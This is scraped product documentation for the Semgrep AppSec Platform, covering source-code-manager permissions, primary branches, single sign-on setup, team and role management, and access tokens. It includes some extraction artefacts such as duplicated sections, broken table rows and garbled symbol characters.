| On-premise SCM connections | [Connect to on-premise orgs and projects](/deployment/connect-scm#connect-to-on-premise-orgs-and-projects) |
| PR and MR comments | [PR or MR comments](/category/pr-or-mr-comments) |
| Semgrep Managed Scans | [Managed Scans overview](/deployment/managed-scanning/overview) |
| Semgrep Multimodal | [Semgrep Multimodal getting started](/semgrep-multimodal/getting-started) |
# Source code manager permissions
Source: https://docs.semgrep.dev/deployment/prepare/scm-permissions
Reference for source code manager permissions required by Semgrep features
Use this page as the canonical reference for Source code manager (SCM) permissions. It lists what each feature requires and where to configure access.
**Before you configure**
Confirm organizational readiness using the [Pre-deployment checklist](/deployment/checklist), which covers permission details and includes links to setup guides.
Permissions
The following tables list **SCM roles** and **token or app scopes** required for each Semgrep feature. Unless noted otherwise, **pull request (PR)** or merge request (MR) refers to a proposed set of code changes in your SCM. See **Configure** for setup guides.
| Feature | Role | Scopes | Configure |
| :------------ | :---------------------------------------------------------------------------------------------------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | :-------------------------------------------------------------------------------------- |
| PR comments |
**Owner**
**Project Collection Administrator**
Required for triage through PR comments. |
**Full access** during setup/triage-webhook enablement
| [Azure Managed Scans](/deployment/managed-scanning/azure#prerequisites-and-permissions) |
| Code access | User who can update the SCM connection token | Connection PAT scopes:
| [Autofix](/semgrep-code/triage-remediation/autofix) |
| Autofix (Data Center) | **Project Admin** | HTTP access token with **Project admin** permissions and repository write access | [Autofix](/semgrep-code/triage-remediation/autofix) |
| Feature | Role | Scopes | Configure |
| :------------------------------------- | :------------------------------------------------------------------------------------------------------- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------- |
| Sign in and connect repositories | Org member who can install GitHub Apps on the organization | Public [`semgrep-app`](https://github.com/apps/semgrep-app) installation. See [GitHub App permissions](#github-app-permissions). |
[Connect a source code manager](/deployment/connect-scm)
[Create an account](/deployment/create-account-and-orgs)
|
| Create CI jobs in bulk | Org member who can install GitHub Apps | Same as public [`semgrep-app`](https://github.com/apps/semgrep-app) permissions for repository onboarding | [Connect a source code manager](/deployment/connect-scm) |
| PR comments | Org member who can configure [`semgrep-app`](https://github.com/apps/semgrep-app) on target repositories |
`actions (read and write)`
`pull requests (read and write)`
`secrets (read and write)`
`security events (read and write)`
`workflows (read and write)`
| [GitHub PR comments](/semgrep-appsec-platform/github-pr-comments) |
| Managed Scans and AI-assisted features | Org member who can install GitHub Apps |
Public [`semgrep-app`](https://github.com/apps/semgrep-app) permissions
Private Semgrep GitHub App with `Contents: Read` and permissions listed in [GitHub App permissions](#github-app-permissions)
Semgrep AppSec Platform requests different GitHub App permissions depending on when you grant access.
### Permissions when signing in with GitHub
Semgrep AppSec Platform requests the following standard permissions set by GitHub when you first sign in. However, not all permissions are used by Semgrep AppSec Platform.
**Verify your GitHub identity**
Enables Semgrep AppSec Platform to read your GitHub profile data, such as your username.
**Know which resources you can access**
Semgrep does not use or access any resources when first logging in. However, you can choose to share resources at a later point to add repositories into Semgrep AppSec Platform.
**Act on your behalf**
Enables Semgrep AppSec Platform to perform certain tasks **only on resources that you choose to share with Semgrep AppSec Platform**. Semgrep AppSec Platform never uses this permission and never performs any actions on your behalf, even after you have installed `semgrep-app`. For more information, see [What does 'Act on your behalf' mean?](/kb/semgrep-appsec-platform/act-on-your-behalf) and [GitHub Apps acting on your behalf](https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/authorizing-github-apps) in GitHub documentation.
### Permissions when adding members or repositories
The public GitHub integration app is called [`semgrep-app`](https://github.com/apps/semgrep-app). This app integrates Semgrep into user-selected GitHub repositories.
**Reading metadata of the repositories you select**
Enables Semgrep AppSec Platform to list repository names on the project setup page.
**Reading the list of organization members**
Enables Semgrep AppSec Platform to determine who can manage your Semgrep organization based on your GitHub organization's members list.
**Reading and writing pull requests**
Enables Semgrep AppSec Platform to comment about findings on PRs. Read permissions allow Semgrep AppSec Platform to automatically remove findings when the PR that introduced them is closed without merging.
**Reading and writing actions**
Enables Semgrep AppSec Platform to cancel stuck jobs, rerun jobs, pull logs from jobs, and perform on-demand scanning.
**Reading [GitHub Checks](https://docs.github.com/en/rest/reference/checks)**
Facilitates debugging of Semgrep AppSec Platform when configured out of [GitHub Actions](https://docs.github.com/en/actions).
**Reading and writing security events**
Enables integration with GitHub Advanced Security (for example, to show Semgrep results).
**Reading and writing secrets**
Enables the automatic adding of the Semgrep AppSec Platform Token to your repository secrets when onboarding projects. Note: Semgrep cannot read the values of your existing or future secrets (only the names).
**Reading and writing 2 files**
Enables Semgrep AppSec Platform to configure itself to run in CI by writing to `.github/workflows/semgrep.yml` and `.semgrepignore` files.
**Reading and writing workflows**
Enables Semgrep AppSec Platform to configure itself to run in CI by writing to `.github/workflows/semgrep.yml`. GitHub allows writing to files within `.github/workflows/` directory only if this permission is granted along with "Writing a single file."
### Permissions for Managed Scans and AI features
You can create a private GitHub app, which follows the naming convention **Semgrep Code - YOUR\_ORG\_NAME**. This private app is used for:
* [Semgrep Managed Scans](/deployment/managed-scanning/overview)
* [Semgrep Multimodal](/semgrep-multimodal/overview) and other AI-assisted features
* [Semgrep Code Autofix](/semgrep-code/triage-remediation/autofix)
Managed Scans and Multimodal [require **read access** to your code](/semgrep-appsec-platform/scm-code-access). Autofix also [requires **write access** and permission to open PRs](#autofix-permissions).
**Reading metadata of the repositories you select**
Lets Semgrep list their names on the project setup page.
**Reading the list of organization members**
Lets Semgrep determine who can manage your Semgrep organization based on your GitHub organization's members list.
**Writing (and reading) pull requests**
Lets Semgrep comment about findings on PRs.
**Writing (and reading) actions**
Allows Semgrep AppSec Platform to cancel stuck jobs, rerun jobs, pull logs from jobs, and perform on-demand scanning.
**Reading checks**
Facilitates debugging of Semgrep AppSec Platform when configured out of GitHub Actions.
**Writing (and reading) security events**
Enables integration with GitHub Advanced Security (for example, to show Semgrep results).
**Writing (and reading) secrets**
Enables automatic adding of the Semgrep AppSec Platform Token to your repository secrets when onboarding projects. Note: Semgrep cannot read the values of your existing or future secrets (only the names).
**Writing (and reading) 2 files**
Lets Semgrep configure itself to run in CI by writing to `.github/workflows/semgrep.yml` and `.semgrepignore`.
**Writing (and reading) workflows**
Lets Semgrep configure itself to run in CI by writing to `.github/workflows/semgrep.yml`. GitHub allows writing to files within `.github/workflows/` only if this permission is granted along with "Writing a single file."
**Read source code of the repositories you select**
Allows Semgrep Multimodal to fetch source code files on-demand to construct AI prompts.
Autofix permissions
[Semgrep Code Autofix](/semgrep-code/triage-remediation/autofix) creates a branch with AI-generated changes and opens a **draft** PR or MR. Autofix requires [Semgrep Multimodal](/semgrep-multimodal/getting-started), code **read and write** access on your SCM connection, and permission to create PRs or MRs.
For SCM and plan availability, see [Supported source code managers](/getting-started/scm-support). For roles, scopes, and setup links, see the **Autofix** row for each provider in [Permissions table](/deployment/prepare/scm-permissions).
GitHub App permissions and API usage
Autofix uses your **private Semgrep GitHub App** with the permissions below. Use this section for security reviews, such as determining which GitHub operations require **Contents: Read and write**).
See [Grant code access](/semgrep-appsec-platform/scm-code-access) to configure **Contents: Read and write** under **Repository permissions > Contents** on the private app.
#### Repository permissions
| GitHub App permission | Why Autofix needs it |
| :----------------------- | :---------------------------------------------------------------------------------------------------------------- |
| **Contents: Read** | Clone the repository using git+https (shallow, single-branch) so Semgrep can analyze the code and generate a fix. |
| **Contents: Write** | Push the Autofix branch back to the repository using git+https. |
| **Metadata: Read** | Read repository metadata, including the default branch, using `GET /repos/{owner}/{repo}`. |
| **Pull requests: Write** | Open a **draft** PR using `POST /repos/{owner}/{repo}/pulls`. |
#### How repository contents are accessed
Semgrep does **not** read or write file contents through the API's `contents` endpoints (`GET` or `PUT` `/repos/{owner}/{repo}/contents/{path}`). Autofix reads and writes code only through the **Git transport layer** (clone and push), which still requires the GitHub **Contents** permissions above.
# Set a primary branch
Source: https://docs.semgrep.dev/deployment/primary-branch
A **primary branch** is the base or target branch for pull requests and merge requests. It is usually referred to as a **default branch** or **trunk** by your source code manager (SCM). Typical names for a primary branch include `dev`, `production`, or `develop`.
In many cases, Semgrep automatically detects primary branches when they first scan your project. If you have projects (repositories) with unique primary branch names, you can set them through the Semgrep web app.
A primary branch enables Semgrep to filter your findings by branch and to accurately deduplicate findings. The primary branch is also used to analyze the deployment of [secure guardrails](/secure-guardrails/secure-guardrails-in-semgrep) to your developers; findings fixed before they are merged into the primary branch reduces the overall production backlog.
The following video provides an introduction and walkthrough:
## Prerequisite
Ensure that the project you want to set a primary branch for has completed **at least one full scan** successfully.
## Find projects without a primary branch
Projects without primary branches have an orange information icon next to their name in the **Projects** page.
## Changes to existing URLs
For Semgrep AppSec Platform users whose accounts were created prior to September 4, 2024, this feature may affect any bookmarks or saved links created for custom views or slices in product pages such as **Code**, **Supply Chain > Vulnerabilities**, and **Secrets**. The primary branch feature deprecates certain filters, which affect the parameters in your URL. In these cases, you may have to re-create your bookmarks.
* The following parameters are deprecated:
* `ref=_default`
* `ref=_other`
* For **Code** page and **Supply Chain > Vulnerabilities** tab:
* Bookmarks that use the `ref` parameter without a `repo`, your URL will be redirected to the default view instead.
* Bookmarks that use any number of `repo` parameters without a `ref` will display the findings of primary branches for all repositories selected.
* Any filters using multiple `refs` now show only one `ref`, such as the primary branch.
## Set a project's primary branch
* Primary branches are set on a **per-project** basis in the Semgrep web app. To quickly update your primary branches, use the [API endpoint](#through-an-api-endpoint).
* For more information on how primary branches may affect existing projects behavior see:
* [Changes to existing URLs](#changes-to-existing-urls)
* [How Semgrep counts findings in the projects page](/deployment/primary-branch#how-semgrep-counts-findings-in-the-projects-page)
### Through the web app
**INFO**
For Semgrep AppSec Platform users whose accounts were created prior to
September 4, 2024, you may have to sign out and sign in again for this feature
to appear.
In the Semgrep web app, click **Projects**.
Search for your project's name.
Click the ** gear icon** to access the settings page for that project.
In the **Primary branch** section, click the drop-down box and select a branch. The drop-down menu shows a list of **scanned branches**.
Click **Save**.
***Figure**. Projects > Project settings page > Primary branch selection.*
### Through an API endpoint
You can also send a `patch` request to the following endpoint: [Deployment > Project endpoint](/api-reference/v1/projectsservice/update-project-details). Add the `primary_branch` key in the request body.
### How Semgrep counts findings in the Projects page
You can view a total count of findings in the **Projects** page for all Semgrep products.
* For Code and Supply Chain, this total count is computed from the **primary branch**.
* For Secrets, this total count is computed from deduplicated findings across all branches.
This means that the count of findings in your Code, Secrets, or Supply Chain page may differ from the counts in your Projects page.
The following links explain how Semgrep presents findings for each Semgrep product in their respective page:
# Single-sign on (SSO) configuration
Source: https://docs.semgrep.dev/deployment/sso
**YOUR DEPLOYMENT JOURNEY**
* You have gained the necessary [resource access and permissions](/deployment/checklist) required for deployment.
* You have [created a Semgrep account and organization](/deployment/create-account-and-orgs).
* You are an admin for both your Semgrep deployment and your IdP provider.
* For GitHub and GitLab users: You have [connected your source code manager](/deployment/connect-scm).
This article walks you through single-sign on (SSO) configuration. Semgrep supports SSO through [OpenID Connect / OAuth 2.0](#openid-connect--oauth-20) and [SAML 2.0](#saml-20).
After setting up SSO, users are provisioned and managed on your IdP. Semgrep grants access to the deployment to any user at the configured domain who logs in and has the correct permissions in the IdP. If a user attempts to log in through GitHub or GitLab with an email at your configured domain, Semgrep prompts them to log in using corporate SSO instead.
### OpenID Connect / OAuth 2.0
**MICROSOFT ENTRA ID**
Semgrep AppSec Platform does not support using OpenID with Microsoft Entra ID. Follow the instructions to [set up SAML SSO with Microsoft Entra ID](/kb/semgrep-appsec-platform/saml-microsoft-entra-id) instead.
To set up SSO in Semgrep AppSec Platform:
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
Go to [**Settings > Access > Login methods**](https://semgrep.dev/orgs/-/settings/access/loginMethods).
In the **Single sign-on (SSO)** section, provide a valid **Email domain**, then click **Initialize**.
The **Configure Single Sign-On** dialog appears. Begin by selecting your identity provider, or choose **Custom OIDC**.
Follow the instructions provided on the subsequent **Configure Single Sign-On** dialog pages to complete this process. When you've completed the required steps, use **Test sign-in** to test the connection.
Once test sign-in has passed, close the test page. Verify that the **Connection details** shown on the **Connection activated** screen are correct and close the dialog.
Verify that the **Connection status** is now **active** under the **Single sign-on (SSO)** section in Semgrep AppSec Platform.
To use the new connection, log out of Semgrep, then log back in using SSO.
If you encounter issues during the setup process, please [reach out to support](/support) for assistance.
### SAML 2.0
**GOOGLE WORKSPACE SAML**
If you're using Google Workspace SAML, see [SAML Single Sign-on with Google Workspace](/kb/semgrep-appsec-platform/saml-google-workspace) for specific guidance.
SAML2.0 is configured through **Semgrep AppSec Platform**. To set up SSO:
Create a SAML app with your authentication provider.
With your authentication provider, add in two attribute statements: `name` and `email`.
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
Go to [**Settings > Access > Login methods**](https://semgrep.dev/orgs/-/settings/access/loginMethods).
In the **Single sign-on (SSO)** section, provide a valid **Email domain**, then click **Initialize**.
The **Configure Single Sign-On** dialog appears to guide you through the remaining configuration steps. Begin by selecting your identity provider, or choose **Custom SAML**.
Follow the instructions provided on the subsequent **Configure Single Sign-On** dialog pages to complete this process. If prompted, add in the requested attribute statements. Semgrep recommends the following mappings:
| Name | Value |
| :------------------------------------------------------------------------------------- | :------------------------------- |
| id | `user.login` **OR** `user.email` |
| email | `user.email` |
| firstName | `user.firstName` |
| lastName | `user.lastName` |
| When you've completed the required steps, use **Test sign-in** to test the connection. | |
Once test sign-in has passed, close the test page. Verify that the **Connection details** shown on the **Connection activated** screen are correct and close the dialog.
Verify that the **Connection status** is now **active** under the **Single sign-on (SSO)** section in Semgrep AppSec Platform.
To use the new connection, log out of Semgrep, then log back in using SSO.
### OpenID Connect / OAuth 2.0
**MICROSOFT ENTRA ID**
Semgrep AppSec Platform does not support using OpenID with Microsoft Entra ID. Follow the instructions to [set up SAML SSO with Microsoft Entra ID](/kb/semgrep-appsec-platform/saml-microsoft-entra-id) instead.
To set up SSO in Semgrep AppSec Platform:
Sign in to Semgrep AppSec Platform.
Navigate to **[Settings > Access > Login methods](https://semgrep.dev/orgs/-/settings/access/loginMethods)**.
Click **Add SSO configuration** and select **OpenID SSO**.
Provide a **Display name** and the **Email domain**.
Copy the **Redirect URL**, and provide it to your authentication provider.
Generate a **Client ID** and **Client Secret** through your authentication provider and paste these values into Semgrep.
From your authentication provider, copy the **Base URL** value, and provide it to Semgrep. For example, if you're using Okta SSO, the base URL is the **Okta domain**.
Optional: provide the following values from your authentication provider if necessary:
* **Well Known URL**
* **Authorize URI**
* **Token URI**
* **Userinfo URI**
Click **Save** to proceed.
If you encounter issues during the setup process, please [reach out to support](/support) for assistance.
### SAML 2.0
**GOOGLE WORKSPACE SAML**
If you're using Google Workspace SAML, see [SAML Single Sign-on with Google Workspace](/kb/semgrep-appsec-platform/saml-google-workspace) for specific guidance.
SAML2.0 is configured through **Semgrep AppSec Platform**. To set up SSO:
Create a SAML app with your authentication provider.
With your authentication provider, add in two attribute statements: `name` and `email`.
Sign in to Semgrep AppSec Platform.
Navigate to **[Settings > Access > Login methods](https://semgrep.dev/orgs/-/settings/access/loginMethods)**.
Click **Add SSO configuration** and select **SAML2 SSO**.
Provide a **Display name** and the **Email domain**.
Copy the **SSO URL** and **Audience URL (SP Entity ID)**, and provide it to your authentication provider.
From your authentication provider, copy your **IdP SSO URL** and **IdP Issuer ID** values, and download the **X509 Certificate**.
Return to Semgrep AppSec Platform, and paste the **IdP SSO URL** and **IdP Issuer ID** values, and upload your **X509 Certificate**.
Select the box next to **This SSO supports non-password authentication mechanisms (e.g. MFA, X509, PasswordLessPhoneSignin)** if applicable.
Click **Save** to proceed.
If you encounter issues during the setup process, [reach out to support](/support) for assistance.
**ADMIN AND ORG OWNER ACCOUNTS**
By default, Semgrep creates new SSO accounts with the **Member** role assigned. You can change the default role assigned to a new user by going to [Settings > Access](https://semgrep.dev/orgs/-/settings/access/defaults).
If you're an admin setting up SSO, and Semgrep creates an SSO account for you with the role of **Member**, you can elevate the permissions granted to your SSO account. To do so, log in to Semgrep with your admin account using the original login method, then [change the role](https://semgrep.dev/orgs/-/settings/access/members) of your newly created SSO account to **Admin**.
### Turn off sign in with GitHub / GitLab
If you have SSO enabled, you can turn off login using GitHub or GitLab credentials. Doing so forces members of your organization to log in using an email address with an approved domain.
Sign in to your [Semgrep account](https://semgrep.dev/login).
Navigate to [**Settings > Access > Login methods**](https://semgrep.dev/orgs/docs-test/settings/access/loginMethods).
GitHub users: Click the **GitHub SSO** toggle to turn off logins using GitHub.
GitLab users: Click the **GitLab SSO** toggle to turn off logins using GitLab.
**WARNING**
Ensure that you have at least one user who can log in as an admin through SSO before disabling sign in with GitHub or GitLab.
### See also
# Manage teams and roles
Source: https://docs.semgrep.dev/deployment/teams/manage
Semgrep allows you to manage user membership and access to Semgrep resources, such as scans, findings, and repositories or codebases you have added to Semgrep. To configure those settings, go to **[Settings > Access](https://semgrep.dev/orgs/-/settings/access)** in Semgrep AppSec Platform.
## Invite a user through email
You can add new users to your organization by sending them an email. This email contains instructions for them to join your org through the same auth provider configured for your account. The invitation only facilitates access for users who are already provisioned in the configured auth provider.
You must be an **admin** to perform this operation.
Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
Click ** Settings > Access**. This brings you to the **Users** tab.
Click **Invite users**.
In the dialog, enter your team members' email addresses. You can invite up to 20 users at a time. Separate each email address with a Space or Tab key. You can also paste a comma-separated list of email addresses.
Click **Send invites**.
## Set a default role for the organization
Users are assigned a role based on your organization's default. New organizations are created with the default role set to **admin**. To change this setting, perform the following steps:
In Semgrep AppSec Platform, click ** Settings**.
Click **Access > Defaults**.
## Change a user's role
You must be an **admin** to perform this operation.
Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
Click ** Settings > Access**.
Search for the user whose role will be changed.
Click on the user's current role, under the role header. A drop-down box appears.
Select the new role for the user.
**NOTE**
You cannot change your own role.
## Enable teams
Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
Click **[ Settings > Access > Teams](https://semgrep.dev/orgs/-/settings/access/teams)**.
Optional: Click ** Yes, add new users to the default team** if you want new members and projects to be added to the default team.
Click **Enable**.
Read the dialog box to ensure that your settings are correct, then click **Enable beta**.
When you have enabled teams for the first time, a team is automatically created with the name of your deployment. This preserves the settings you previously had using the **Users** feature; all current members retain their existing projects.
## View your teams
You must be an admin or manager to view the **Teams** tab.
Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
Click **[ Settings > Access > Teams](https://semgrep.dev/orgs/-/settings/access/teams)**.
## Create a team
In the [ **Teams** tab](https://semgrep.dev/orgs/-/settings/access/teams), click **New team**. The **Create New Team** form appears.
Enter a **Name** for the team.
The **Projects** tab opens. Click the checkbox next to the name of the projects you want to give access to. You can also use the **Search** box or **tags** to help you find projects.
Click the **Users** tab, then click the checkbox next to the name of the team members you want to add. You can also use the **Search** box to help you find members.
Optional: Appoint a manager. Under the **Role** column, click the drop-down box and select **Manager**.
Click **Create**.
### Create a subteam
In the [ **Teams** tab](https://semgrep.dev/orgs/-/settings/access/teams), click ** Add subteam** next to the name of the top-level team you want to create a subteam for. The **Create new subteam** form appears.
Enter a **Name** for the subteam.
The **Projects** tab opens. Click the ** checkbox** next to the name of the projects you want to give access to. You can also use the **Search** box or **tags** to help you find projects.
Click the **Users** tab, then click the ** checkbox** next to the name of the team members you want to add. You can also use the Search box to help you find members.
Optional: Appoint a manager. Under the Role column, click the drop-down box and select **Manager**.
Click **Create**.
**INFO**
* You must have at least one team before you can create a subteam.
* In subteams, you can add members that are not part of the top-level team.
## Manage your teams
### Update an existing team or subteam
In the [ **Teams** tab](https://semgrep.dev/orgs/-/settings/access/teams), click the ** edit** icon on the row of the team or subteam you want to edit.
Make your changes.
Click **Review > Save changes**.
### Delete a team or subteam
If you are deleting a team, delete its subteams first.
i. In the [ **Teams** tab](https://semgrep.dev/orgs/-/settings/access/teams), click the ** down arrow** to show all subteams under a team, then follow steps 2-3.
Click the ** trash can** icon.
Click **Delete** to confirm.
### Appoint a manager
To set a member as a manager for a subteam:
In the [ **Teams** tab](https://semgrep.dev/orgs/-/settings/access/teams), click the ** edit** icon on the row of the team or subteam you want to edit.
Click on the **Users** tab.
Under the Role column of the member you want to appoint, click the drop-down box and select **Manager**. Perform this step for all members you want to set as managers.
Click **Review**.
Click **Save changes**.
#### View and edit subteams
**INFO**
This feature is currently in invite-only beta. Please contact [Semgrep Support](/support) for more information.
In the [ **Teams** tab](https://semgrep.dev/orgs/-/settings/access/teams), click the ** edit** icon on the row of the team or subteam you want to edit.
Find the team to which the subteam should be added. Click **Add subteam**.
Provide a **Team name**. Click **Add projects**.
Select one or more projects to add to the subteam. Click **Add members**.
Select one or more users to add to the subteam. Click **Review**.
Review the changes you have made. If this looks correct, click **Create team** to proceed.
Managers can view their subteams by going to the **Settings > Access > Teams** tab. Within this tab, they are also able to assign any of the projects they manage from one subteam to another.
Note that this feature allows managers to view **all projects** in the **Edit teams** panel, including projects they are not assigned to. However, they cannot perform admin-level actions on those projects, such as assigning projects they are not designated to manage.
### Filter findings for a team's projects
Navigate to the **Findings** page.
Click the **Teams** filter. This filter displays teams you have access to.
Select the teams you want to see findings for.
# Manage user access to projects
Source: https://docs.semgrep.dev/deployment/teams/overview
Basic access control, which determines which users can manage Semgrep resources such as scans, projects, and findings, is managed in Semgrep AppSec Platform. This allows you to configure different levels of collaboration and visibility for users in your organization with access to Semgrep.
Semgrep primarily divides users into three roles:
* **Admin**
* **Member**
* **Read-only**
Optionally, you can appoint members to a fourth role: the **manager** role. Managers are a subset of members with some additional capabilities and scopes. In particular, they are able to assign specific projects to members through the creation of [teams](#teams-beta).
### User permissions and visibility
**Admins** have full permissions, scopes, and visibility into all aspects of Semgrep.
**Members** can *edit* the following page in Semgrep AppSec Platform:
* **Findings**: They can view **all projects** in the Findings page, and can sort and triage findings.
**Members** can *view* the following pages in Semgrep AppSec Platform:
* **Dashboard**: They are able to see the total count of findings for all projects in the org.
* **Editor**: They can view an org's rules, but they can't write rules for the org. They can still write rules for their personal Semgrep orgs.
* **Registry**: They can view, but not add, rules and rule packs.
* **Docs**: Anyone can view the docs.
**Members** *cannot view or perform any actions* on the following pages:
* **Policies**
* **Projects**
* **Settings**
#### Scan permission vs Projects access
Having permission to scan is separate from whether you can open the **Projects** page. Members can have scan permission to run local CLI scans and upload results to the organization, even when they cannot open **Projects** and therefore cannot use **Run a new scan** in Semgrep AppSec Platform.
With **Teams** enabled, **Members** assigned to a team can open the **Projects** page for those projects. That visibility alone does not let them use **Run a new scan**. Only roles with scan permission in Semgrep AppSec Platform, such as **Admin**, can start an on-demand scan. A **Member** who lacks that permission can still run local CLI scans and upload results.
## Teams (beta)
The **Teams** feature enables admins to grant or limit access to **specific projects** in Semgrep AppSec Platform. This provides more granular control than the [**Users**](#user-permissions-and-visibility) feature alone. Teams helps security engineers and developers in large organizations focus on projects relevant to their specific department or team.
You can quickly assign projects to large groups of users by first assigning users to teams and subteams within your organization. Once you've limited a user's access to a subset of your projects, their **Dashboard** and **Findings** pages all reflect that change. For example, their finding count is based on the total number of findings in the projects they can access.
## Roles and access
The Teams feature extends the existing roles defined in the **Users** tab.
* **Admin**
* A user who has access to all features, resources, and projects of their Semgrep deployment. Admins can also change the role of members and managers.
* When creating teams, admins are automatically included in all teams and can't be removed from any team. The access of an admin cannot be restricted except by making them a member.
* An org admin can change the role of any other user, including a fellow admin.
* **Member**
* A user who has access to some features, resources, and projects of their Semgrep deployment.
* To grant members access to a project and its findings, you must add the members to a team, and that team must be assigned to the project.
* Members can scan their local or personal repositories through a personal account.
* Members can also be assigned as **Managers** within a team.
* **Read-only**
* A user who can only view projects and issues of their Semgrep deployment.
* **Manager**
* A member who can grant access to projects by creating subteams and assigning members to these subteams.
* A manager role is restricted to the teams where they have been assigned as a manager. Users can be managers of some projects, but members for others. For more information, see [the manager role](#the-manager-role).
### Page and feature access per role
| Page | Read-only | Member | Manager | Admin |
| :------------ | :------------------------------------------------------------------------------------------------------- | :----------------------------------------------------------------------------------------------------------------------------------------------------------- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------- | :--------------------------------------------- |
| **Dashboard** | β οΈΒ Restricted. Scope is limited based on team assignments and the project access granted to those teams. | β οΈΒ Restricted. Scope is limited based on team assignments and the project access granted to those teams. | β οΈΒ Restricted. Scope is limited based on team assignments and the project access granted to those teams. | β Β Yes |
| **Projects** | β οΈΒ Restricted. Projects assigned to teams are visible to users assigned to those teams. | β οΈΒ Restricted. Projects assigned to teams are visible to users assigned to those teams. | β οΈΒ Restricted. Projects assigned to teams are visible to users assigned to those teams. | β Β Yes. Admins can see all projects. |
| **Findings** | β οΈΒ Restricted. Read-only users can perform no triage operations. | β οΈΒ Restricted. Members can perform all triage operations on Projects assigned to them. | β οΈΒ Restricted. Managers can perform all triage operations on Projects assigned to them. | β Β Yes |
| **Policies** | βΒ No | βΒ No | βΒ No | β Β Yes. Only admins can view and edit policies. |
| **Editor** | βΒ No | ποΈΒ Read-only. Members can view all rules of an organization, but can't edit or create their own. They can create their own rules in their personal account. | ποΈΒ Read-only. Managers can view all rules of an organization, but can't edit or create their own. They can create their own rules in their personal account. | β Β Yes |
| **Settings** | βΒ No | βΒ No | β οΈΒ Restricted. Managers can see the **Access** and **Account** subpages. On the **Access** page, they can edit the subteams to which they are assigned as manager. | β Β Yes |
### Operations permitted per role
| Capability | Read-only | Member | Manager | Admin | Notes |
| :---------------------- | :-------- | :------------ | :------------ | :---- | :----------------------------------------------------------------------------------------------------------------------------------- |
| Create or edit projects | βΒ No | β οΈΒ Restricted | β οΈΒ Restricted | β Β Yes | |
| Change policies | βΒ No | βΒ No | βΒ No | β Β Yes | |
| Triage findings | βΒ No | β οΈΒ Restricted | β οΈΒ Restricted | β Β Yes | Members can perform all triage operations on Projects assigned to them. |
| Assign roles | βΒ No | βΒ No | βΒ No | β Β Yes | |
| Create or edit teams | βΒ No | βΒ No | βΒ No | β Β Yes | |
| Create or edit subteams | βΒ No | βΒ No | β Β Yes | β Β Yes | |
| Delete teams | βΒ No | βΒ No | βΒ No | β Β Yes | |
| Delete subteams | βΒ No | βΒ No | β Β Yes | β Β Yes | A manager can delete a subteam they are assigned to manage, as long as no resources, such as projects, are assigned to that subteam. |
| API | βΒ No | βΒ No | βΒ No | β Β Yes | |
**INFO**
Members and managers can create projects by scanning a repository using the Semgrep CLI tool, but they can't access the project related to the repository in Semgrep AppSec Platform unless an admin provides them explicit access to the project.
### Semgrep Multimodal features permitted per role
| Page | Read-only | Member | Manager | Admin |
| :----------------------------- | :-------- | :----- | :------ | :---- |
| Add a memory | βΒ No | βΒ No | βΒ No | β Β Yes |
| Receive weekly priority emails | βΒ No | βΒ No | βΒ No | β Β Yes |
| Add a memory during triage | βΒ No | βΒ No | βΒ No | β Β Yes |
## How team access works
* Members of a top-level team gain access to the projects of its subteams. They are indirect members of a subteam.
* Members of a subteam do not have access to the projects of teams or subteams above it.\`
In the following diagram, team 1 gains access to subteam 1b's projects, but team 1b does not gain access to projects from team 1.
* The members Alexis, Pam, and Raj have access to the following projects:
* App
* Microservices
* Frontend
* The members David, Sebas, and Phaedra have access to the following projects:
* Frontend
If there is a user who is assigned **read-only** access to the deployment, but they need to be a member of specific teams, you must modify the user's roles at the team level to ensure that they can access those projects.
### The manager role
Use the **manager role** to delegate the assignment of projects across many users. Managers can speed up the deployment of Semgrep into your organization by creating subteams to grant members access to projects.
Given a security engineer who is a manager of **team A** but a member of **team B**, with both teams having the same projects:
* The security engineer has manager **access** to the projects.
* The security engineer can create subteams for team A but can't create subteams for team B.
Additionally, the manager role is able to perform the following:
* Scan, including managed scans on new projects through the **Projects** page.
* Edit projects that their team is assigned to.
Managers cannot remove themselves from their team. Admins and co-managers of the same team or subteam can remove other managers.
Managers can view and assign any of the projects they manage from one subteam to another at any time.
For example, if Bob is a manager of `Team A` (assigned to projects `Foo` and `Bar`) and `Team B` (assigned to project `Baz`), Bob has access to all three projects: `Foo`, `Bar`, and `Baz`. Bob can also assign `Baz` to `Team A`.
## Tips for creating teams and subteams
* **Assign projects to only one team.**
* **Use subteams to grant access to a specific department's repositories**: Create a top-level team for managers or security engineers in your organization who have broad access to a variety of repositories, then create subteams for members to grant them limited access to their specific department's repositories.
* **Use flat teams to grant access to central projects that are used by a broad group of developers**: It is best to create a separate flat team, without any subteams, and grant the users access to foundational or central repositories from that team. For example, projects that all engineers commit to can be named the Engineering Team.
# Access tokens
Source: https://docs.semgrep.dev/deployment/tokens
An access token is a secure credential used to authorize requests to Semgrep AppSec Platform or the Semgrep API without a username and password. Each token is associated with a specific Semgrep account and has a defined set of [scopes](#token-scopes) that determine the permissions granted to its bearer.
## Types of access tokens
Semgrep uses the following types of access tokens:
* API tokens
* CLI tokens
* Service tokens
### API tokens
API tokens can be created by admins and are used for calls to the Semgrep API and to set up third-party integrations. For auditing purposes, API tokens are associated with the user who created them. However, they remain valid until manually revoked, even if the creator is no longer associated with the deployment.
### CLI tokens
CLI tokens authenticate users who run scans or publish rules from the Semgrep CLI. Both members and admins of a deployment can create CLI tokens. The CLI token allows users to run scans on their local machine using the `semgrep ci` command. This sends findings data to Semgrep AppSec Platform. It also allows users to [publish rules](/writing-rules/private-rules#creating-private-rules) using `semgrep publish`.
For auditing purposes, Semgrep [records the user who generated the CLI token](https://semgrep.dev/orgs/-/settings/tokens/cli), but the user's actions are attributed to the token rather than the user.
Logging out of the Semgrep CLI with `semgrep logout` removes the local token, but it does not invalidate it.
### Service tokens
